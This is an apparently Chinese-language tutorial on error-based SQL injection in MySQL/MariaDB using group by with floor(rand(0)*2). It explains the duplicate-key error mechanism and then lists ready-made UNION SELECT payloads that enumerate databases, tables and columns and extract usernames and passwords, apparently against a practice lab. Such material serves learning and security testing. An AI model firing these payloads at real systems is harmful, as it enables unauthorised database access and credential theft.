groupby + rand报错注入


利用groupby + rand的特性进行报错注入

rand()

rand()中可添加参数作为随机种子,一边为时间

如果种子是固定的,产生的随机数也是固定的

1
2
3
4
5
6
7
8
9
10
11
12
select rand(0) from users;
MariaDB [security]> select rand(0) from users;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
+---------------------+

floor()

向下取整

这样会使得floor(rand(0)*2)的值固定:

1
2
3
4
5
6
7
8
9
10
11
MariaDB [security]> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+

group by

group by 会对相同的内容进行分组,然后再进行排序:

1
2
3
4
5
6
7
8
MariaDB [test]> select name n,score s from ScoreTable group by s;
+----------+-----+
| n | s |
+----------+-----+
| wangwu | 85 |
| zhangsan | 90 |
| dingliu | 100 |
+----------+-----+

count(*)能够进行计数:

例如:

1
2
3
4
5
6
7
8
+----------+-----+
| n | s |
+----------+-----+
| zhangsan | 90 |
| lisi | 90 |
| wangwu | 85 |
| dingliu | 100 |
+----------+-----+

此时:

1
2
3
4
5
6
7
8
select count(*), score from ScoreTable group by score;
+----------+-----+
| count(*) | s |
+----------+-----+
| 1 | 85 |
| 2 | 90 |
| 1 | 100 |
+----------+-----+

此时count(*)就是对每个分数的人计数

rand + floor + group by 注入

利用:

1
2
3
select count(*) from users group by floor(rand(0)*2);

ERROR: Duplicate entry '1' for key 'group_key'

原理分析:

1
2
3
4
5
6
7
8
9
10
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+

建表:

key count

此时执行floor(rand(0)*2),发现结果是0,查表发现没有0,于是再计算一次floor(rand(0)*2),然后将结果1写入表中:

key count
1 1

然后再次计算,算得是1,此时发现有key,计数器+1,此时变成了:

key count
1 2

然后再次计算,算得为0,发现没有数据;然后再次计算,算得为1,此时再次计算后需要插入新数值,但是key=1此时已经存在了,所以此时就会报错

payload:

1
2
id='1' union select 1,count(*),concat(database(),"=",floor(rand(0)*2)) as x from information_schema.tables group by x #'
#测试是否能用

爆库:

1
-1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+

或者:

1
?id=1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 0,1),"~",floor(rand(0)*2)) as x group by x;

反正没有group_concat就用limit

爆表:

1
-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+

爆列,只需将上面的table_name改为column_name

information_schema.tables改为columns

爆内容:

1
1' union select 1,count(*),concat((select concat_ws(':',username,password) from security.users limit 0,1),"=",floor(rand(0)*2)) as x from information_schema.tables group by x --+

注意,因为该语句将输出字符长度限制为了64个字符,所以这里利用limit代替group_concat